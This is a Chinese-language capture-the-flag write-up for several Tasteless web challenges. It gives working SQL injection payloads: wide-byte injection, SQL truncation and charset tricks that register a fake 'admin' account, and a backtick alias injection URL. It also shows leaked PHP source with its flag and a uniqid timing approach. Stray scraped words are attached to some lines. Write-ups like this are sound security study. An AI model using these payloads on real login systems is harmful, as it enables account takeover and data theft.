Tasteless challenges hard WP

hard

Level 5- Fred CMS

十有八九是注入,不过测试引号和转义符并没发现什么,因而跑了下密码字典,居然发现网页提示 sql injection detected! ,而后发现原来是密码中存在or关键字php

测试了username处发现未拦截关键字,那注入点应该只存在于password,那么应该就是username填admin,password处构造SQL语句条件为真便可html

试了好久才发现原来是考宽字节注入,payload以下mysql

username=admin&password=%df'<>1#sql

后台语句则会是less

SELECT * FROM users WHERE username='admin' AND password='?'<>1

password='?' 为假即0,0<>1为真,因此整条语句为真函数

 

Level 8- Unsolvable

SQL约束攻击测试

注册一个帐号编码

admin                                                                                                                                             xxx  (中间多几个空格)spa

123456789code

而后以admin:123456789登陆

 

Level 12- Goldjunge

 一开始瞎尝试毫无头绪,后才发现有源码泄露

http://chall.tasteless.eu/level12/lucky.php~

 代码为

<?php
    $k=$_GET['emit'];
    $a=substr(sprintf("%8x%05x\n",floor($k),($k-floor($k))*1000000),0,-3);
    $b=substr(uniqid(),0,-2);
    if($a==$b){
        print "WTF?! YOU REALLY DID IT <3<br /> flag is: t1m1ng4tt4ck";
    }
    else {
        print "VAR a is ".$a."<br />";
        print "VAR b is ".$b."<br />";
    }
?>

...

没错flag就在源码里,t1m1ng4tt4ck

不过仍是要研究一下这题的正常解法

$a=substr(sprintf("%8x%05x\n",floor($k),($k-floor($k))*1000000),0,-3);

$a前8位是floor($k),后5位是($k-floor($k))*1000000),即后5位取决于小数部分,而后被substr,只取前11位

 

$b=substr(uniqid(),0,-2);

uniqid() 函数基于以微秒计的当前时间,生成一个惟一的 ID

 $b的11位都取决于当前时间

 

因此就要构造一个比当前时间大一点的payload,而后用burp不断发包,直到恰好撞上

 

Level 13- Leetmore

  待更

 

 

Level 14- Lifeless

  待更

 

 

Level 16- Bodies

 待更

 

 

Level 17- Unsolvable V2

字符集的问题

注册的时候admin后面加上\xC2

登陆以admin便可

参考:Mysql字符编码利用技巧

 

Level 20- Do you comment?

http://chall.tasteless.eu/level20/index.php?view=flag as Quality from level20_flag join level20`

实验室的小伙伴试出来的,我以前有想过join,可是题目ban了注释符,就一直没想到绕过方法,至于为何这里反引号能当注释用,目前仍是不清楚,正在研究。。。

更:mysql中起别名用as,但as能够省略,而在能够起别名的地方,用上反引号,其后的内容都会做为别名

详见:為什麼`(backtick)能作"註釋符"

相关文章
相关标签/搜索